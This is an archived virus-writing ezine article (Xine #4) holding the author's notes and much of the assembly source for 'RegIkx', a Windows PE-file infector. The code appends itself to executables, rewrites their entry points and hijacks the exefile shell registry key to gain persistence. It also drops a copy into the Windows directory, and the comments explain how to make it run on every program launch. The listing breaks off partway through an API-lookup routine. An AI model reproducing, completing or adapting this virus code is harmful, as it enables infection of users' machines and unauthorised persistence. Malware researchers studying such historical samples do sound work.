Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 205

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 205 |
\-----------------------------/

;Again a new virus idea, for a long time I have chatted away about
;this type of virus. Finaly relaizing that no one else wanted to do this
;I did it. This was a what i call a dead time project. Whenever I had
;spare time I worked on it sometimes it sat for a month b4 I looked at it
;again. This lead to strange code, due to every time I did feel like
;working on it I was intrigue with a new concept, nothing major, but enough
;to make the code seem more hodgepodge then my usual mess :>. (Sorry to all
;the coders who do not like upper and lower mix of chars, but I sorta like it)
;Alright the program is made up to 2 parts One a regular PE file made by tasm
;but modified with debug.

;First it is compile with
;tasm32 /ml /m3 reg,;
;tlink32 /Tpe /aa /c /B:0400000 -x reg,r1,,,
;this creates a file that has .DATA only section , I hand code the IData stuff
;see cerebrus virus for more info on this
;then I use a debug script to modify a few things

;Increase Header size to 600h Allow the full header
; to be copy into Memory

;Set Idata Location So OS knows where to load the Idata
;Set Idata Size
;
;Set Flags of the DATA sect to R/W/Exec Not really need since data will
; execute fine
;
;Edit the BASE of the Code Since I have no code section
;Edit Size of Code Tasm does not set these and WinNt
; Chokes if not set properly

;Move the PE Header from 100h to 80h Why not, actual gives me more free
; space in one spot for say other
; viruses Not really use in this virus
;Move any code up to the end of the header area again not really use in this
;virus just an idea I was curoius about.
;
;Allright now we have a 2000h exe which when run will look for the command line
;and execute the exe file if it is there
;Now before it executes the file it will infecting using standard technique of
;expanding the last section and ensuring the last section is r/w
;How may you ask does the file get someone to give it a exe name as a command
;line you may ask. When the file it has infected is run the second part of
;the code it run. Using standard vx technique's to find the k32 API it needs
;It first reads the Registry entry "HKEY_CLASSES_ROOT\exefile\shell\test\command",0
; it checks if the entry starts with RegIkx.exe, if so dont bother if not
;it writes the entry "RegIkx.exe" %1 %*
;(So when someone right clicks on the mouse over a ExeFile they will see
;Test as one of the Options if then then click test windows runs
;"Regikx.exe" FullPathFileName CommandLine Parms this is how the file spreads)
;Now it gets the Windows Directory and creats RegIkx.exe in it. then
;close the File, close the Registry and jmps back to the host
;Clear as Murky Water right :>
;I Use a space as first char of the last section name to id file as infected
;Display a poem when no command line is passed to it
;may as well confuse the issue in case a user does decide to run the exe by
;itself
;
;Well the rest is in the code, you can recompile with a Diffrent Register
;setting which will then call RegIkx every time the user clicks on a exe
;I have that setting rem out for testing purposes
;Well enjoy and Read the code
;Murkry
;-------------------------------------------------------------
;As usual what follows is notes I made as I was working on this
;project
;-------------------------------------------------------------
;This is being compile with no code of idata section
;only the a DATA section which in Win9? can still execute code???
;as a side note this seems that while code is code data it code as well
;you can then put code in the k32 data section and execute it....
;not sure if winnt supports this but I did try stack space in winnt 4.0,
;yes it let me execute it fine.
;to be sure I am altering the flags to be code and exec as well as
;the data the flags will then be 600000E0
;
;The "RealFile will infect the files off the commandline
;copying the first 600h bytes from the MZ header then copy the
;next 600 from the start of the "virii" code down the infect addtion
; to the end file should be about 800-900; probaly be easier to copy
;the header to the top of the section then we can add and change things as we
;go
;Why 600 when the header size is usual 400h simple Borland pads everthing
;so there is a extra 200 bytes that lay in waste on disk but do not get loaded
;to memory, unless you make the header size 600h which I do in the debug
;script
;so the file looks like this
; on disk in memory after move
; ---------------- -----------------
; MZ 400000 MZ
; 80 PE 80 PE
; data or code data or code but exec not Write
; 600 Excutable code 600 End of header
; idata cod data 401000 MZ
; 80 PE
; Usable Data or code r/w exec
; 600 Idata code data
;
;Now when writing this file as infection write from 401000 to end of code
;to recreate Excutable file write from 401000 for lenght of code pad to 4096
;****Note in winnt4.0 the file would just "exit" do nothing or at least
;appear to do that. Under Td32 in NT it would "error loading program"
;So I made entries to the SizeOfCode and BaseOfCode this allow it to work
;but then failed cause I cheated and used "USER32" not "USER32.DLL ok adjusted for
;that and all OK..Cept run from command line only file name but click on then
;full path name was passed. Oh well, I guess that there are some incompatiblity
;with the win32 subsets ;))

;Reg setting exefile infect "D:\TASM\VIRII\REGHOOK\R1.EXE" %1 %*
;Of course in real virus the exe would be in a windows directory
;so "R1.EXE" %1 %* would work fine and Of course I use RegIkx.exe for
;final edition

;ideas to play with
; Stack Infector use stack for code and data
; modify the .text section to be data as well then you can write the
; orginal "host" back after spreading
; have a small "dos" prog modify one of the system dll's for code to data
; the real virus code then goes tsr at the second run
; Write code that infects the data section and runs from there as well
; just mod the eip to pnt there this opens up the idata,data,resc,reloc
; just about any section can be infected... 'cept AV'ers check this
; While I do not try to hide from AV'rs scanners I do try to mention methods
;that Av'ers should use

.486
.model flat, stdcall

DEBUG EQU 1 ;REM THIS LINE TO REMOVE DEBUG CODE
;-------------------------------
;Used for access to the Registery
HKEY_CLASSES_ROOT equ 80000000h
REG_SZ equ 1
REG_OPTION_NON_VOLATILE equ 0

;sometime I used this, note that many API return nonzero to signify
; True so True != 0 is a better check
True equ 1
False equ 0

;MZ pnter to PE or NE or LE ...
NEptr equ 03ch

;Locations in PE header use JQwerty's(29A) inc files for more complete
;header info and other nice tricks
SectHdrSze equ 028H
ImageSze equ 050h
PEHdrSze equ 0F8h

;-------------------------------
;PE Header Offsets
NumOfSect equ 6
EipOff equ 28h
SectAlign equ 38h
FileAlign equ 3Ch

;-------------------------------
;Section Entry Offsets
SectName equ 0h
SectVsze equ 8h
SectVadd equ 0Ch
SectRawSze equ 10h
SectPtrRaw equ 14h
;Stuff not used
SectChar equ 24h

;-------------------------------
;USed in CreateFile API calls
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FATTR_NORMAL equ 0
OPEN_EXISTING equ 3
CREATE_NEW equ 1

;Used for the Idata Section to get proper offsets
;I sometime have very convolted code that could be replaced with
; One static equ rather than the nonsense I typed, live with it...
;better yet..consider it a exercise for the student...

LoadAT equ 01000h
offs equ offset PEheader ;+ LoadAT + 400000h

filler equ offset Data - PEheader

;Start of Code which is actaul in a section called Data


.data ;the data area
PEheader: ;will hold the Orginal MZ/PE info
db 1A0h dup (00h)
;-------------------------------------------------------------
;Anything beyond this is data that will be carrier over from
;infection to infection after the first infection this will
;be copyed to a buffer area to be used for our code
;I used a debug script to make the intial file
;in most case this is just for placeholders exeptions are strings
;or numerics the virus really needs then they would be placed here
;then moved by the debug script
sBlank db ' ',0
Temp dd ? ;Used for temp storage
fHandle dd ? ;Open File Handle
PtrAddNew dd ? ;Where the write the New Info

AddSize dd ? ;Amount we have added to the file

;NewEip dd ?

ProcessInfo dd 4h dup(?)
StartupInfo dd 18h dup(?)

FileName db 256 dup(0)
EXEcName db 256 dup(0)

crTime dd 2 dup (0)
laTime dd 2 dup (0)
lwTime dd 2 dup (0)

;*******temp db "c:\windows\notepad.exe",0

BodyTitle db "Stoddart, And It Never Comes Again",00h
BodyMsg db "There are gains for all our losses,",0dh,0ah
db " There are balms for all our pain,",0dh,0ah
db "But when youth, the dream, departs",0dh,0ah
db "It takes something from our hearts,",0dh,0ah
db " and it never comes again",0dh,0ah
db 0dh,0ah,0dh,0ah,0dh,0ah
db " Murkry/IkX",0dh,0ah
db "Making life fun through 'tronic life",0dh,0ah
db " RegIkx.ExE",0dh,0ah,00
;-------------------------------------------------------------
;Data area stops and the place holder takes over
;place holder used the formala so the IDATA always starts at 600h

Data: ;place holder so we pad this out properly
db 600h - filler dup (00h)
;The Infection part of the Virus uses the
IDATA:
DD offset API_LOC2b - offset PEheader + LoadAT
; usual this has a redunat entry
;We are not skipping it
; offset API_LOC1 - offset PEheader + LoadAT

T1: dd 0 ;time date stamp
dd 0 ;where in memory this dll is loaded

DD offset DLL1 - offset PEheader + LoadAT

DD offset API_LOC2 - offset PEheader + LoadAT

;--------second DLL

DD offset API_LOC2Ab - offset PEheader + LoadAT
; usual this has a redunt entry
;We are not skipping it
; offset API_LOC1 - offset PEheader + LoadAT

T2: dd 0 ;time date stamp
dd 0 ;where in memory this dll is loaded

DD offset DLLA - offset PEheader + LoadAT

DD offset API_LOC2A - offset PEheader + LoadAT
DD 00000000H


DB 10H DUP(0)

API_LOC2:
exitp DD offset FUNC1 - offset PEheader + LoadAT ;
beep DD offset FUNC2 - offset PEheader + LoadAT ;4h
;VxdCall0 DD 80000001h ;8h
getcomline DD offset FUNC3 - offset PEheader + LoadAT ;Ch
createp DD offset FUNC4 - offset PEheader + LoadAT ;10h
Copy DD offset FUNC5 - offset PEheader + LoadAT
Create DD offset FUNC6 - offset PEheader + LoadAT
FileP DD offset FUNC7 - offset PEheader + LoadAT
Read DD offset FUNC8 - offset PEheader + LoadAT
Write DD offset FUNC9 - offset PEheader + LoadAT
Close DD offset FUNC10 - offset PEheader + LoadAT
FindFirst DD offset FUNC11 - offset PEheader + LoadAT
FindNext DD offset FUNC12 - offset PEheader + LoadAT
CloseFind DD offset FUNC13 - offset PEheader + LoadAT
FileSize DD offset FUNC14 - offset PEheader + LoadAT
WinEx DD offset FUNC15 - offset PEheader + LoadAT
GetTime DD offset FUNC16 - offset PEheader + LoadAT
SetTime DD offset FUNC17 - offset PEheader + LoadAT
DD 0
API_LOC2A:
msgbox DD offset FUNCA - offset PEheader + LoadAT

DD 0

SizeAPIAdd equ $ - Offset API_LOC2
;======================================================================

API_LOC2b:
exitpb DD offset FUNC1 - offset PEheader + LoadAT ;
beepb DD offset FUNC2 - offset PEheader + LoadAT ;4h
;VxdCall0b DD 80000001h ;8h
getcomlineb DD offset FUNC3 - offset PEheader + LoadAT ;Ch
createpb DD offset FUNC4 - offset PEheader + LoadAT ;10h
Copyb DD offset FUNC5 - offset PEheader + LoadAT
Createb DD offset FUNC6 - offset PEheader + LoadAT
FilePb DD offset FUNC7 - offset PEheader + LoadAT
Readb DD offset FUNC8 - offset PEheader + LoadAT
Writeb DD offset FUNC9 - offset PEheader + LoadAT
Closeb DD offset FUNC10 - offset PEheader + LoadAT
FindFirstb DD offset FUNC11 - offset PEheader + LoadAT
FindNextb DD offset FUNC12 - offset PEheader + LoadAT
CloseFindb DD offset FUNC13 - offset PEheader + LoadAT
FileSizeb DD offset FUNC14 - offset PEheader + LoadAT
WinExb DD offset FUNC15 - offset PEheader + LoadAT
GetTimeb DD offset FUNC16 - offset PEheader + LoadAT
SetTimeb DD offset FUNC17 - offset PEheader + LoadAT
DD 0
API_LOC2Ab:
msgboxb DD offset FUNCA - offset PEheader + LoadAT

DD 0
;------------------------names of DLL

DLL1 DB 'KERNEL32.DLL',0
DLLA DB 'USER32.DLL',0

dw 0 ;ends dll names

FUNC1 dw 0
db 'ExitProcess',0

FUNC2 dw 0
DB 'Beep',0

FUNC3 dw 0
DB 'GetCommandLineA',0

FUNC4 dw 0
db 'CreateProcessA',0

FUNC5 dw 0
db 'CopyFileA',0

FUNC6 dw 0
db 'CreateFileA',0

FUNC7 dw 0
db 'SetFilePointer',0

FUNC8 dw 0
db 'ReadFile',0

FUNC9 dw 0
db 'WriteFile',0

FUNC10 dw 0
db 'CloseHandle',0

FUNC11 dw 0
db 'FindFirstFileA',0

FUNC12 dw 0
db 'FindNextFileA',0

FUNC13 dw 0
db 'FindClose',0

FUNC14 dw 0
db 'GetFileSize',0

FUNC15 dw 0
db 'WinExec',0

FUNC16 dw 0
db 'GetFileTime',0

FUNC17 dw 0
db 'SetFileTime',0


db 0 ;end of Function list for this DLL


FUNCA dw 0
db 'MessageBoxA',0
dw 0

db 0 ;end the function list
db 0 ;end the DLL list


EndIDATA:
;By Default this will be R/W Exec section
Begin:
;move the header into our section
;really so this is info will be R\W
mov eax,VSize
call $ + 5 ;Need any value in our address
pop Eax ;area for GetMZ
Call GetMZ ;Eax will return pntr to MZ header
Mov Esi,Eax
mov Edi,offset PEheader
xor ecx,ecx
mov ch,6 ;600 bytes
rep movsb



;***Get CommandLine
Call FillFileNames

or Eax,Eax ;Eax = Zero then no file to infect or run
je NoFileToExec


Call InfectFile

IFDEF DEBUG
push Eax
call msgbox, large 0, Offset EXEcName ,offset FileName,Large 1
pop Eax
ENDIF

;this could be used but to failed in one test in winnt
;CALL WinEx, Offset EXEcName, large 1
;there was probaly another issue here

;Run the file using CreateProcess
Call createp, \
offset FileName, \ ;module name
offset EXEcName, \ ;command line
large 0, \ ;sec attr
large 0, \ ;thread sec
Large False, \ ;inherit handles
large 0, \ ;create flags
large 0, \ ;Enviroment
large 0, \ ;current directory
offset StartupInfo, \ ;startup info
offset ProcessInfo ;process info
jmp ExitMain

NoFileToExec:
push Eax
call msgbox, large 0, Offset BodyMsg ,offset BodyTitle,Large 40h
pop Eax

Problem:

NoCommandLine:

ExitMain:
push -1
call exitp
;------------------------------------------------------------------
InfectFile PROC
PushA

;Open the File r/w using Create file

Call dword ptr [Create] , \
offset FileName, \;File to Open
GENERIC_READ or GENERIC_WRITE, \
large 0, \
Large 0, \
large OPEN_EXISTING, \
large 0, \
large 0

mov dword ptr [fHandle],eax
inc Eax
je @@FileNotOpenErr
;fBuff where to read info to

Call GetTime,[fHandle],offset crTime,offset laTime,offset lwTime

Call Read , \
[fHandle], \ ;handle
offset fBuff, \ ;where to read to
400h, \ ;how much to read
offset Temp, \ ;how much was read
large 0 ;overlapped amount not used win95


Or eax,eax ;Check if All is ok
jz @@ErrorFileOpenErr
cmp dword ptr [Temp],400h ;Did we read all We wanted to
jne @@ErrorFileOpenErr

lea Esi, [fBuff + NEptr] ;Get the ptr to the PE
lodsd ;It would probaly be safer to
or Eax,Eax
jz @@ErrorFileOpenErr ;Not a PE

cmp Eax,1a0h ;If greater than this then avg
jg @@ErrorFileOpenErr ;PE hdr would not fit in remaining
;space so quit

add eax,Offset fBuff ;check for MZ as well
xchg Esi,Eax ;feel free to add that Check
cmp word ptr [ESI],"EP" ;if you Like
jne @@ErrorFileOpenErr

;Next check to see if we have the Section Entry for the
;last Section
;ESI pnts to the PE offset

mov ax,word ptr [Esi + NumOfSect]
cwde ;Convert ax to Eax
dec Eax

mov Ecx,SectHdrSze
mul Ecx

Add Eax,PEHdrSze
cmp Eax,400h
jg @@ErrorFileOpenErr

add Eax,Esi ;Edi = offset to the LastSection
xchg Edi,Eax


;Now need to modify this last section
;Will Need to get FileSize as well....

;Debug just to see last section name if ".?????" infect
;if " ??????" already infected
IFDEF DEBUG
push Eax
call msgbox, large 0, Edi ,Edi ,Large 1
pop Eax
ENDIF

;check For Infection
mov bl,byte ptr [Edi]
cmp bl,20h ;check for space as first char
je @@InfectedAlready

;Otherwise assume we will infect
mov byte ptr [Edi],20h

;Get Eip and move it to the return area
mov Ebx, dword ptr [Esi + EipOff]
mov dword ptr [RegHook + 1], Ebx

;Set New Eip
mov Ebx,[Edi + SectRawSze] ;Get New Eip
add Ebx,[Edi + SectVadd] ;
add Ebx,Offset RegHook - offset PEheader ;
mov [Esi + EipOff],Ebx ;Store It

;Setup How where we are adding all the code
Mov Eax, dword ptr [Edi + SectRawSze]
Add Eax,dword ptr[Edi + SectPtrRaw]
Mov [PtrAddNew],Eax

;Now We need to modify the last Section entry to
;hold the new code
xor Edx,Edx
mov Eax,VSize
add Eax, dword ptr [Edi + SectRawSze]
dec Eax
or Edx,Edx
jne @@ErrorFileOpenErr

;Update Section Raw Data Size
mov Ecx,[Esi + FileAlign]
add Eax,Ecx
dec Eax
div Ecx
Mul Ecx

;Save how much we will add to the file
Push Eax
sub Eax,[Edi + SectRawSze]
mov [AddSize],Eax
Pop Eax

;save the new raw data size of the section
mov [Edi + SectRawSze],Eax

;Using the new Raw Data Size update
;the Section virtual Size
mov Ecx,[Esi + SectAlign]
dec Eax
add Eax,Ecx
div Ecx
Mul Ecx

;while here lets update the ImageSze as well
;since some progs do not use a correct val in Vsize
;we make sure that our value is at least on a section alignment
push Eax
sub Eax,[Edi + SectVsze]
dec Eax
div Ecx
mul ecx
add [Esi + ImageSze],Eax
pop Eax

mov [Edi + SectVsze],Eax
or [Edi + SectChar],80000000h

;Now move the file ptr to the new size
;write this to the file
;Goto the start of the file and write the new Header
;close the file

;Set the ptr to the place where the old info ended
Call dword ptr [FileP] , [fHandle], dword ptr [PtrAddNew] , large 0, large 0

;Write to the file using Write
Call dword ptr [Write], \;
[fHandle], \;handle
offset PEheader, \;write from
dword ptr [AddSize], \;size
offset Temp, \;how much written
large 0 ;


Call dword ptr [FileP] , [fHandle], large 0 , large 0, large 0

;Write to the file using Write
Call dword ptr [Write], \;
[fHandle], \;handle
offset fBuff, \;write from
0400h, \;size
offset Temp, \;how much written
large 0 ;

Call SetTime,[fHandle],offset crTime,offset laTime,offset lwTime



@@InfectedAlready:
@@ErrorFileOpenErr:
;Close the file

Call Close, [fHandle]
@@FileNotOpenErr:
PopA
Ret
EndP
;------------------------------------------------------------------

FillFileNames PROC


call getcomline
;returns EAX = CommandLine


;Due to the way this virus will "hook" the registery it should always
;recieve "regIKX.exe" Host.exe args
;So to find the File we look for .exe
;first move the exe name to the FileNAme
;then Move the Entire line to the EXEcName

;move Eax to the command args

@@Next1:
inc Eax ;Get past first "
cmp byte ptr [Eax],'.' ;Find Next
jne @@Next1

mov ebx,dword ptr [eax] ;ebx = "EXE."
and EBX,0DFDFDFFFH
cmp EBX,"EXE."
jne @@Next1


inc Eax ;.
inc Eax ;E
inc Eax ;X
inc Eax ;E ;At this point we should be looking at the
;Next file we have to run and potential
;any command line paremters to that file


@@Next2:
cmp byte ptr [Eax],'"' ;
jne @@skip
Inc eax
@@skip:
cmp byte ptr [Eax]," " ;
je @@Space ;we have command line info

cmp byte ptr [Eax],00
je @@NoCommandLine

@@Space:
;Load the FileName and EXEcName
mov edi,offset FileName
mov esi,eax

@@RemoveSpace:
cmp byte ptr [esi]," "
jne @@NextNameByte
inc esi
jmp @@RemoveSpace

@@NextNameByte:
lodsb

cmp al,"."
je @@a1
cmp al,0
je @@NoFileToExec
jmp @@Cn1
@@a1:
mov Ebx,Dword ptr[ Esi -1]
and EBX,0DFDFDFFFH
cmp EBX,"EXE."
jne @@Cn1
mov [Edi],Ebx
mov [Edi + 256d],Ebx
lea Esi, [Esi+3]
lea Edi, [Edi+4]
je @@EndExE
@@Cn1:
stosb
mov byte ptr [edi + 255D],al
Jmp @@NextNameByte
@@EndExE:
push Edi
xor al,al
stosb

;finish the EXEcName
pop edi
inc Edi
lea edi,[edi+255D]
mov al,20h
@@Cn3:
stosb
lodsb
cmp al,00
je @@NameDone
jmp @@Cn3
@@NameDone:

ret

@@NoCommandLine:
@@NoFileToExec:
XOR Eax,Eax

ret
EndP

;----------------------------------------------------------------
RegHook:
db 68h
dd ?
pushA

;I like my GetMZ routine but, I found a major bug
;while the odds are small that it will find a MZ and then a PE that
;is the wrong one it can happen and this virus is an examaple of that
;when it infects a file which has an (PE) file offset of 1000h when you
;round the offset given in the eax to the last offset of 1000h you are
;now pointing at the first byte of this virus in that file then you check
;for MZ, PE you find it ... Not the host start, but the virus start. Oh well
;cant be sure on everything so I "fix" it by ensureing that the
;the value in Eax is one less then the start of the virus
Call H1
H1: Pop Eax
Sub Eax, offset H1 - Offset PEheader
dec Eax
call GetMZ ;Find where this file is loaded then
add [esp + 20h],eax ;fix the return adress

;virus is set to return to the host when done
;now get the pntr off the stack that pnts to a K32 address
;use that to find the address to getprocaddress

mov Eax,[esp + 24h] ;value inside Kernel32
;usauly...
call GetMZ ;Get the start of the k32
or Eax,Eax ;problem bail..
jz UhOh

call GetAPI ;get the Get Process Address
or Eax,Eax
jz UhOh ;problem bail


pusha

mov ecx,SizeAPIAdd

Call $ + 5
add dword ptr [esp],Offset API_LOC2b - $ ;push a location
pop Esi

Call $ + 5
add dword ptr [esp],Offset API_LOC2 - $ ;push a location
pop Edi
rep Movsb

xor Eax,EAx
Call $ + 5
add dword ptr [esp],Offset T1 - $ ;push a location
pop Edi
Stosd
Stosd

Call $ + 5
add dword ptr [esp],Offset T2 - $ ;push a location
pop Edi
Stosd
Stosd

popa


push Eax ;Push the Eax
Call SetReg ;Acual work is done here


UhOh:
popA
ret

;Make Section R\W and Exec
;
;CheckReg
; CreateFile
; SetReg
;CloseReg
;Host

;=====================================
;Passed to it
;On stack K32 = Kernel32 API
;and that fs:[14] = GetProcessAddress
;
SetReg Proc WINDOWS PASCAL
arg @@K32:DWORD ;args passed to us
;local variable space
local @@hAdv:DWORD ;advapi32 handle
local @@LoadLib:DWORD ;Address if LoadLib

local @@RegOpen:DWORD
local @@RegSet:DWORD
local @@RegQuery:DWORD
local @@RegEnum:DWORD
local @@RegClose:DWORD

local @@Write:DWORD
local @@CreateF:DWORD
local @@CloseH:DWORD
local @@Read:DWORD
local @@hKey:DWORD
local @@mBox:DWORD
local @@Buff:DWORD
local @@Fhandle:DWORD
local @@Temp:DWORD

call @@GetLib
db "LoadLibraryA",0
@@GetLib:
push @@K32
call fs:[14h]
mov @@LoadLib,Eax

call @@GetAdv
db "Advapi32.dll",0
@@GetAdv:
call @@LoadLib

mov @@hAdv,Eax
or eax,eax ;check to see if all is ok
je @@uups
;Now have all that is needed to read/write to a regisrty
;Try to open the Reg

;Attempt to open the key or create a new one
;-------------------------------------------------
call @@GL1
db "RegCreateKeyExA",0
@@GL1:
push @@hAdv
Call @@GetProcAdd


Call @@Disp
dd ?
@@Disp:

;push @@hKey
LEA ESI,@@hKey
PUSH ESI
push Large 0 ;sec attr null
push 0F003Fh ;regsam
push large REG_OPTION_NON_VOLATILE ;Options

call @@GetNullSt ;null string
db "",0
@@GetNullSt:
push 0 ;resv

call @@Gs1
;StrLoc db "exefile\shell\open\command",0 ;for real use
StrLoc db "exefile\shell\test\command",0
@@Gs1:
push LARGE HKEY_CLASSES_ROOT
call ecx

or Eax,Eax
jne @@uups ;couldn't open the key


;Ok have open the key now read and check if its ours
;----------------------------------------------------------------
;Read the string
call @@GL2
db "RegQueryValueExA",0
@@GL2:
Push @@hAdv
Call @@GetProcAdd



Call @@GetBufLen
dd 255d
@@GetBufLen:

Call $ + 5
add dword ptr [esp],Offset EXEcName - $ ;push a location
pop esi
push esi
mov dword ptr [@@Buff],esi ;of a buffer
;save it
; Call @@GetStr
;@@st db 255d dup(0)
;@@GetStr:

Call @@GetDataType
dd 1
@@GetDataType:
push large 0
push large 0
push [@@hKey]
call Ecx
;
mov esi,dword ptr[@@Buff]


call $ + 5
add dword ptr [esp],offset @@New - $
pop edi
cmpsd
je @@CloseKey ;allready done
;Ok its there but not ours so just unhook whatever is there and replace it
;need to make our file in the Windows system directory if we cant do that
;bail out
;----------------------------------------------------------------
;Createfile
;1 Get windows directory
;2 Try to Create File
; Bail if it exists ???
;3 Write File from top 200 bytes
; then Write again from top for rest of file
;4 close Handle

call @@GetWinDir
db "GetWindowsDirectoryA",0
@@GetWinDir:
push @@K32
call fs:[14h]

call $ + 5
add dword ptr [esp],offset FileName - $
pop edi

Push 255D
Push Edi
Call Eax
or Eax,Eax
jz @@Prob

Push Edi

;This is the Key Entry we want to write
;"ReGIkX.exe" %1 %*
add Edi,Eax
mov Eax, "GeR\"
stosd
mov Eax,".XkI"
stosd
mov Eax,"ExE" + 00
stosd

;Ok on Stack is the ptr to the string for our new file
;for the hell of it I'll us the the GetProcAdd and the
;string for CreateFileA in the other part of the Virus

call $ + 5
add dword ptr [esp],offset FUNC6+2 - $ ;Address of Str
;CreateFileA
Push @@K32
Call @@GetProcAdd


Pop Edi ;New File and Widows Directory


Xor Eax,Eax

Push Eax
Push Eax
Push CREATE_NEW ;Create New File
Push 0
Push 0
Push GENERIC_WRITE ;Only Write
Push Edi

Call Ecx ;CreateFileA

mov [@@Fhandle],Eax
inc Eax
jz @@Prob

;Write to the File
call $ + 5
add dword ptr [esp],offset FUNC9 + 2 - $ ;Address of Str
;WriteFileA
Push @@K32
Call @@GetProcAdd
mov edi,ecx
;-------
Push Large 0 ;Not used Overlapped

;Push @@Temp ;used to hold how much is written
LEA ESI,@@Temp ;
PUSH ESI ;

push 600h ;size to write

call $ + 5
add dword ptr [esp],offset PEheader - $ ;Address of
;Start of Virus
Push [@@Fhandle] ;

call Ecx ;Write File

or Eax,Eax
jz @@ProbCloseFile

;--------

Push Large 0 ;Not used Overlapped

;Push @@Temp ;used to hold how much is written
LEA ESI,@@Temp ;
PUSH ESI ;

push VSize ;size to write
; push 1A00h ;2000h - 600h from above

call $ + 5
add dword ptr [esp],offset PEheader - $ ;Address of
;Start of Virus
Push [@@Fhandle] ;

call Edi ;Write File

or Eax,Eax
jz @@ProbCloseFile

;--------
Push Large 0 ;Not used Overlapped

;Push @@Temp ;used to hold how much is written
LEA ESI,@@Temp ;
PUSH ESI ;

push (2000h - 600h - VSize) ;size to write


call $ + 5
add dword ptr [esp],offset PEheader - $ ;Address of
;Start of Virus
Push [@@Fhandle] ;

call Edi ;Write File

or Eax,Eax
jz @@ProbCloseFile



;-------------------------------------------------------------
IFDEF DEBUG
push Eax
call @@GetDebug
db "User32.dll",0
@@GetDebug:
call @@LoadLib

call @@DebugMess
db 'MessageBoxA',0
@@DebugMess:
push eax
call fs:[14h]
xchg eax,ecx

push large 1
call @@M1
db "Write File Sucess",0
@@M1: call @@M2
db "GoodBye",0
@@M2: push 0
call Ecx
pop Eax
ENDIF
@@cont:
;----------------------

@@ProbCloseFile:
;close the File
call $ + 5
add dword ptr [esp],offset FUNC10 + 2 - $ ;Address of Str
;CloseHandle
Push @@K32
Call @@GetProcAdd

mov Eax,[@@Fhandle]
call Ecx


;Murk

@@Prob:

;---------------------
;Now set the Registery key
call @@GL3
db "RegSetValueExA",0
@@GL3:
Push @@hAdv
Call @@GetProcAdd


; push large 18D ;Should be lenght of string below
push @@StrLen
call @@GetNew
@@New: db '"ReGIkX.exe" %1 %*',0
@@StrLen equ $ - Offset @@New
@@GetNew:
push 1
push 0
push 0
push [@@hKey]
call ecx

;--------------------
@@CloseKey:
;Close the key
call @@GL4
db "RegCloseKey",0
@@GL4:
Push @@hAdv
Call @@GetProcAdd

push dword ptr [@@hKey]
call Ecx
;Murk1
; push 255d
; call @@strBuf
; db 255d dup(0)
;@@strBuf:

@@uups:
ret

;=====================================
@@GetProcAdd PROC WINDOWS
;accepts the procname and the handle of a dll
;returns in ecx the address of the api
ARG @@hAdv:DWORD,@@ProcName:Dword

push @@ProcName
push @@hAdv
call fs:[14h]
xchg eax,ecx
ret
@@GetProcAdd EndP

SetReg EndP
;=====================================
;-------------------------------------
;GetMZ subroutine
;Passed
;EAX = the address we want to start looking for
;Returns the MZ header location above this
;RETURNS IN EAX THE LOCATION OF THE MZ header
;Should be the Load VA for the program
GetMZ Proc
Pusha
mov ebp, esp

;Set up a SEH handler
@@GetMZ_SetSeh:
call $ + 5
add dword ptr [esp], Offset @@GetMZ_FindExcept - $
Push dword ptr fs:[0]
mov fs: [0] , esp

;set Esi = eax
Xchg esi, eax

@@GetMZ_LoopFind:
;this checks for the MZ and the PE if both are not found
;but MZ is we assume an error and exit out
;with esi = 0
and esi,0FFFFF000h
Pusha
Lodsw
Cmp ax,'ZM'
Jne @@GetMZ_NotFound
Add esi, [esi + 3Ah]
dec esi
dec esi

lodsw
cmp ax,'EP'
je @@GetMZ_Found

xor eax,eax
mov dword ptr [esp + 04h],eax
jmp @@GetMZ_Found ;Not really assume error and return with esi
; = 0

@@GetMZ_NotFound:
popa
sub esi,1000h
jmp @@GetMZ_LoopFind

@@GetMZ_FindExcept:
mov eax, [esp + 08h]
Lea esp, [eax - 20h]
popa
pop dword ptr fs:[0]
inc esp ;esp + 4
inc esp
inc esp
inc esp
sub esi,1000h
Jmp @@GetMZ_SetSeh

@@GetMZ_Found:
Popa ;esi = the MZ header

;restore the the orginal SEH
Pop dword ptr fs:[0]
Add esp, 4

; Set our Eax to be the return Value
Mov dword ptr [ebp + 1ch],esi
Popa

Ret

GetMZ EndP
;---------------------------

;==============================================================================
;Takes EAX = K32 VA
;Returns
;eax = K32 address or 0 if failure
;fs:[14] = GetProcessAddress if Succcess

GetAPI PROC WINDOWS PASCAL

;LOCAL @@gaWorkSp:dword,@@gaGetPAdd:dword,@@gaNindex:dword,@@gaAddOrd:dword,@@gaAddName:dword,@@gaAddFunc:dword,@@gaLimit:dword,@@gaBASE:dword,@@gaK32:dword

LOCAL @@gaWorkSp:dword
LOCAL @@gaGetPAdd:dword
LOCAL @@gaNindex:dword
LOCAL @@gaAddOrd:dword
LOCAL @@gaAddName:dword
LOCAL @@gaAddFunc:dword
LOCAL @@gaLimit:dword
LOCAL @@gaBASE:dword
LOCAL @@gaK32:dword

pusha ;Save everthing
Mov Ebx,dword ptr[Eax + 3ch]
add Ebx,eax ;get PE location

mov [@@gaBASE],eax ;save VA
push eax

mov [@@gaK32],ebx ;save PE location
mov Eax,[Ebx + 78h] ;Edata Loc

pop ebx
lea Esi,[Eax + Ebx + 10h] ;should be the Base of the Edata
Lea Edi,[@@gaBASE] ;Starting pnt for the ordinal
;exported by this DLL
;now that Esi and Edi point to the correct loactions
;we can just lodsd instead of Mov eax,[]
;then stosd instead of mov [],eax
Lodsd ;save base
stosd
Lodsd ;Load the Total
;number of Exports but trash

lodsd ;get and save the Limit
stosd ;this is the number of both
;named and unamed functions Eported

Lodsd ;get and save the address to
add eax,ebx ;the function's
stosd

Lodsd ;get and save the address to
add eax,ebx ;the names of the function
stosd

Lodsd ;get and save the address to
add eax,ebx ;the ordinals of the function
stosd

gaLookLoop:

Mov Esi,[@@gaAddName] ;first adrress of the first name
Mov [@@gaNindex],Esi ;store where we are

Mov Edi,Ebx ;get the load Add of K32
Add Edi, [Esi]
xor Ecx,Ecx
gaTryAgain:
;find GetProcAddress
cmp [Edi],'PteG'
jne gaNextOne

cmp [Edi+4],'Acor'
jne gaNextOne

cmp [Edi+8],'erdd'
jne gaNextOne

cmp word ptr[Edi+0Ch],'ss'
jne gaNextOne

cmp byte ptr [Edi+0Eh],00
jne gaNextOne

jmp gaGotGetProcAdd

gaNextOne:

inc Ecx
cmp Ecx, [@@gaLimit]
jge gaNotFound1

